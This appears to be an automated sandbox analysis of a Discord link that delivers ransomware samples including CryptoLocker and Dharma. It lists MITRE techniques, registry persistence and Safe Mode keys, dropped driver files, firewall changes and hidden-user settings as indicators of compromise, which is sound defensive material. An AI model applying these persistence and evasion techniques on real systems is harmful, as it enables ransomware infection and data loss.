cryptolocker | hxxps://discord[.]gg/crystalud

Analysis

max time kernel
711s
max time network
721s
platform
windows11-21h2_x64
resource
win11-20241023-en
resource tags

arch:x64arch:x86image:win11-20241023-enlocale:en-usos:windows11-21h2-x64system
submitted
27-10-2024 20:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://discord.gg/crystalud

Score

10^/10

cryptolocker defense_evasion discovery evasion lateral_movement persistence privilege_escalation ransomware

Malware Config

Signatures

CryptoLocker
Ransomware family with multiple variants.
ransomware cryptolocker
Cryptolocker family
cryptolocker
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
4468	net.exe
5188	net1.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4388	netsh.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
5500	attrib.exe

Sets service image path in registry 2 TTPs 11 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\gqhowslpigfhuxivg\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\gqhowslpigfhuxivg.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\doxvivbkzwvscr\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\doxvivbkzwvscr.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssql\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\mssql.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wmkqptfplrzcgc\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\wmkqptfplrzcgc.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bszpjwvcjqpwndb\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\bszpjwvcjqpwndb.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\yhmmfqsqwpskkmff\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\yhmmfqsqwpskkmff.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\uwzkbrydjpuyhvap\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\uwzkbrydjpuyhvap.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssqlaq\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\mssqlaq.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vdpoyrmizalforsoh\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\vdpoyrmizalforsoh.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\fjsryrxklmozotyw\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\fjsryrxklmozotyw.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\rezwtskwkezabvfun\ImagePath = "\\??\\C:\\Windows\\SysWOW64\\ac\\rezwtskwkezabvfun.sys"	mssql.exe

Executes dropped EXE 7 IoCs

pid	Process
5172	CryptoLocker.exe
5204	{34184A33-0407-212E-3320-09040709E2C2}.exe
5252	{34184A33-0407-212E-3320-09040709E2C2}.exe
4532	nc123.exe
4928	mssql.exe
6044	mssql2.exe
2128	SearchHost.exe

Impair Defenses: Safe Mode Boot 1 TTPs 18 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\BSZPJWVCJQPWNDB.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\doxvivbkzwvscr.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\DOXVIVBKZWVSCR.SYS	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\FJSRYRXKLMOZOTYW.SYS	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\VDPOYRMIZALFORSOH.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\wmkqptfplrzcgc.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\WMKQPTFPLRZCGC.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\bszpjwvcjqpwndb.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\REZWTSKWKEZABVFUN.SYS	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\YHMMFQSQWPSKKMFF.SYS	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\GQHOWSLPIGFHUXIVG.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\fjsryrxklmozotyw.sys	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\vdpoyrmizalforsoh.sys	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\yhmmfqsqwpskkmff.sys	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\uwzkbrydjpuyhvap.sys	mssql.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\MINIMAL\UWZKBRYDJPUYHVAP.SYS	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\gqhowslpigfhuxivg.sys	mssql.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\rezwtskwkezabvfun.sys	mssql.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Software\Microsoft\Windows\CurrentVersion\Run\CryptoLocker = "C:\\Users\\Admin\\AppData\\Roaming\\{34184A33-0407-212E-3320-09040709E2C2}.exe"	{34184A33-0407-212E-3320-09040709E2C2}.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	SearchHost.exe
File opened (read-only)	\??\A:	nc123.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
2	discord.com
7	discord.com
128	raw.githubusercontent.com
131	raw.githubusercontent.com
166	raw.githubusercontent.com
167	raw.githubusercontent.com

Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

Drops file in System32 directory 47 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\ac\wmkqptfplrzcgc.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\yhmmfqsqwpskkmff.sys	mssql.exe
File opened for modification	C:\Windows\SysWOW64\ac	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\EVER\SearchHost.exe	Dharma.exe
File created	C:\Windows\SysWOW64\ac\systembackup.bat	Dharma.exe
File created	C:\Windows\SysWOW64\ac\Shadow.bat	Dharma.exe
File created	C:\Windows\SysWOW64\ac\EVER\1saas\1sass.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\EVER\1saas\LogDelete.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\fjsryrxklmozotyw.sys	mssql.exe
File opened for modification	C:\Windows\SysWOW64\ac\EVER\1saas	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\yhmmfqsqwpskkmff.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\gqhowslpigfhuxivg.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\EVER\1saas\LogDelete.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\doxvivbkzwvscr.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\EVER\Everything.ini.tmp	SearchHost.exe
File created	C:\Windows\SysWOW64\ac\__tmp_rar_sfx_access_check_241249046	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\EVER	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\bszpjwvcjqpwndb.sys	mssql.exe
File opened for modification	C:\Windows\SysWOW64\ac\gqhowslpigfhuxivg.sys	mssql.exe
File opened for modification	C:\Windows\SysWOW64\ac\rezwtskwkezabvfun.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\vdpoyrmizalforsoh.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\fjsryrxklmozotyw.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\nc123.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\systembackup.bat	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\mssql.exe	Dharma.exe
File created	C:\Windows\SysWOW64\ac\mssql2.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\EVER\1saas\1sass.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\mssql.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\rezwtskwkezabvfun.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\EVER\SearchHost.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\EVER\Everything.ini	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\mssql2.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\Shadow.bat	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\vdpoyrmizalforsoh.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\uwzkbrydjpuyhvap.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\unlocker.exe	Dharma.exe
File created	C:\Windows\SysWOW64\ac\mssqlaq.sys	mssql.exe
File opened for modification	C:\Windows\SysWOW64\ac\mssqlaq.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\mssql.sys	mssql.exe
File opened for modification	C:\Windows\SysWOW64\ac\wmkqptfplrzcgc.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\bszpjwvcjqpwndb.sys	mssql.exe
File opened for modification	C:\Windows\SysWOW64\ac\nc123.exe	Dharma.exe
File created	C:\Windows\SysWOW64\ac\EVER\Everything.ini	Dharma.exe
File created	C:\Windows\SysWOW64\ac\mssql.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\unlocker.exe	Dharma.exe
File opened for modification	C:\Windows\SysWOW64\ac\uwzkbrydjpuyhvap.sys	mssql.exe
File created	C:\Windows\SysWOW64\ac\doxvivbkzwvscr.sys	mssql.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\systembackup = "0"	reg.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000\Control Panel\Desktop\Wallpaper = "0"	$uckyLocker.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1680	sc.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\CryptoLocker.exe:Zone.Identifier	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Verus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CryptoLocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Verus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Verus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hydra.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Verus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Verus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	{34184A33-0407-212E-3320-09040709E2C2}.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nc123.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Verus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mssql2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SearchHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$uckyLocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	{34184A33-0407-212E-3320-09040709E2C2}.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Verus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Dharma.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4248760313-3670024077-2384670640-1000\{F49875CC-99D1-4462-BB6B-1DD7B8E6CA40}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4248760313-3670024077-2384670640-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

NTFS ADS 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Verus.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\abdiv2.rar:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\CryptoLocker.exe:Zone.Identifier	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe\:Zone.Identifier:$DATA	CryptoLocker.exe
File opened for modification	C:\Users\Admin\Downloads\The-MALWARE-Repo-master.zip:Zone.Identifier	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
244	msedge.exe
244	msedge.exe
1192	msedge.exe
1192	msedge.exe
3596	msedge.exe
3596	msedge.exe
3184	msedge.exe
3184	msedge.exe
1896	identity_helper.exe
1896	identity_helper.exe
4340	msedge.exe
4340	msedge.exe
4340	msedge.exe
4340	msedge.exe
2196	msedge.exe
2196	msedge.exe
2740	msedge.exe
2740	msedge.exe
4392	msedge.exe
4392	msedge.exe
4548	Verus.exe
4548	Verus.exe
5584	msedge.exe
5584	msedge.exe
5444	Verus.exe
5444	Verus.exe
5412	Verus.exe
5412	Verus.exe
5392	Verus.exe
5392	Verus.exe
5472	Verus.exe
5472	Verus.exe
5516	Verus.exe
5516	Verus.exe
5864	Verus.exe
5864	Verus.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
344	OpenWith.exe
4928	mssql.exe

Suspicious behavior: LoadsDriver 32 IoCs

pid	Process
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe
4928	mssql.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 54 IoCs

pid	Process
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: 33	4644	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4644	AUDIODG.EXE
Token: SeDebugPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeDebugPrivilege	6044	mssql2.exe
Token: SeLoadDriverPrivilege	4928	mssql.exe
Token: SeIncreaseQuotaPrivilege	5620	WMIC.exe
Token: SeSecurityPrivilege	5620	WMIC.exe
Token: SeTakeOwnershipPrivilege	5620	WMIC.exe
Token: SeLoadDriverPrivilege	5620	WMIC.exe
Token: SeSystemProfilePrivilege	5620	WMIC.exe
Token: SeSystemtimePrivilege	5620	WMIC.exe
Token: SeProfSingleProcessPrivilege	5620	WMIC.exe
Token: SeIncBasePriorityPrivilege	5620	WMIC.exe
Token: SeCreatePagefilePrivilege	5620	WMIC.exe
Token: SeBackupPrivilege	5620	WMIC.exe
Token: SeRestorePrivilege	5620	WMIC.exe
Token: SeShutdownPrivilege	5620	WMIC.exe
Token: SeDebugPrivilege	5620	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5620	WMIC.exe
Token: SeRemoteShutdownPrivilege	5620	WMIC.exe
Token: SeUndockPrivilege	5620	WMIC.exe
Token: SeManageVolumePrivilege	5620	WMIC.exe
Token: 33	5620	WMIC.exe
Token: 34	5620	WMIC.exe
Token: 35	5620	WMIC.exe
Token: 36	5620	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5620	WMIC.exe
Token: SeSecurityPrivilege	5620	WMIC.exe
Token: SeTakeOwnershipPrivilege	5620	WMIC.exe
Token: SeLoadDriverPrivilege	5620	WMIC.exe
Token: SeSystemProfilePrivilege	5620	WMIC.exe
Token: SeSystemtimePrivilege	5620	WMIC.exe
Token: SeProfSingleProcessPrivilege	5620	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe

Suspicious use of SendNotifyMessage 13 IoCs

pid	Process
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
1192	msedge.exe
2128	SearchHost.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
344	OpenWith.exe
344	OpenWith.exe
344	OpenWith.exe
344	OpenWith.exe
344	OpenWith.exe
344	OpenWith.exe
344	OpenWith.exe
344	OpenWith.exe
344	OpenWith.exe
4928	mssql.exe
6044	mssql2.exe
2128	SearchHost.exe
4928	mssql.exe
3828	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1192 wrote to memory of 3464	1192	msedge.exe	78
PID 1192 wrote to memory of 3464	1192	msedge.exe	78
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
PID 1192 wrote to memory of 4056	1192	msedge.exe	79
